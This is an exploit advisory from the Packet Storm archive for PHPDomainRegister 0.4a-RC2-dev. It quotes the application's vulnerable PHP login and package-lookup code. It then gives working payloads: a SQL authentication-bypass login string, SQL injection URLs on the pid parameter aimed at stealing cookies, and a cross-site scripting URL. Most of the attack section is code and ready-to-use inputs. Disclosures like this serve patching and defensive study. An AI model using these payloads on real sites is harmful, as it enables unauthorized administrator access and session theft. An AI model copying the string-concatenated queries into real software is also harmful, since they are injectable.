what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHPDomainRegister 0.4a-RC2-dev Cross Site Scripting / SQL Injection

PHPDomainRegister 0.4a-RC2-dev Cross Site Scripting / SQL Injection
Posted Jan 16, 2012
Authored by Or4nG.M4N

PHPDomainRegister version 0.4a-RC2-dev suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 7941c866ddc9daba17d04d5f9f6cd0f63a60288cd0894ae92a849ab5286b4c8f

PHPDomainRegister 0.4a-RC2-dev Cross Site Scripting / SQL Injection

Change Mirror Download
Title    = PHPDomainRegister v0.4a-RC2-dev => [SQL Auth][SQL Inject][XSS]
Author = Or4nG.M4n
Download = http://garr.dl.sourceforge.net/project/phpdr/v0.4b%20-%20RC2.rar

This Bug Powered By : GooGLe
Thnks :
+----------------------------------+
| xSs m4n i-Hmx Cyber-Crystal |
| Dr.Bnned ahwak2000 sa^Dev!L |
+----------------------------------+

SQL Auth Bypass
vuln : class_AjaxLogin.php line 73

function is_login() { <<<<==== 1
include ('../config.php'); <<<<==== 2
if(isset($_POST['username'])) { <<<<==== 3
$_SESSION['username'] = $_POST['username']; <<<<==== 4
$password = $_POST['password']; <<<<==== 5
$strSQL = <<<<==== 6
"SELECT
*
FROM
`".$_SQL_PREFIX . $USER_Table_Name."`
WHERE
`LOGIN_NAME` = '".$_SESSION['username']."'
AND
password = md5('".$password."');"; <<<<==== 7

$result = mysql_query ($strSQL); <<<<==== 8
$row = mysql_fetch_row($result); <<<<==== 9
$exist = count($row); <<<<==== 10
if($exist >=2) { $this->jscript_location(); } <<<<==== 11

[jscript_location]

function jscript_location() { <<<<==== 12
$this->set_session(); <<<<==== 13
echo "<script> $('#container').fadeOut();window.location.href='".SUCCESS_LOGIN_GOTO."'</script>"; <<<<==== 14


How i can Exploit this bug :
just login as = > admin ' or 1=1 #

SQL injection
vuln
admin/index.php line 212

$sql = "SELECT name, price, disc, disc2, webspace FROM ".$_SQL_PREFIX."packages WHERE `id` = ".$_GET['pid'].";"; <<<<==== 1
$getpack = mysql_query($sql); <<<<==== 2

line 1079

showPacket($pid); <<<<==== 3

vuln
index.php line 617

$SQL = "SELECT * FROM ".$_SQL_PREFIX."packages where id = ".$_GET['pid'].""; <<<<==== 1
$result = mysql_query($SQL); <<<<==== 2

Exploit Here :
index.php?usetype=domainauswahl&pid=%injectionhere%&use=Details
admin/index.php?show=showPacket&pid=%injectionhere% Sql to xss to get cookie


Cross Site Scrpting [xss]
admin/index.php?show=domains&do=delFirmadomains&domain=<script>alert(7);</script>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close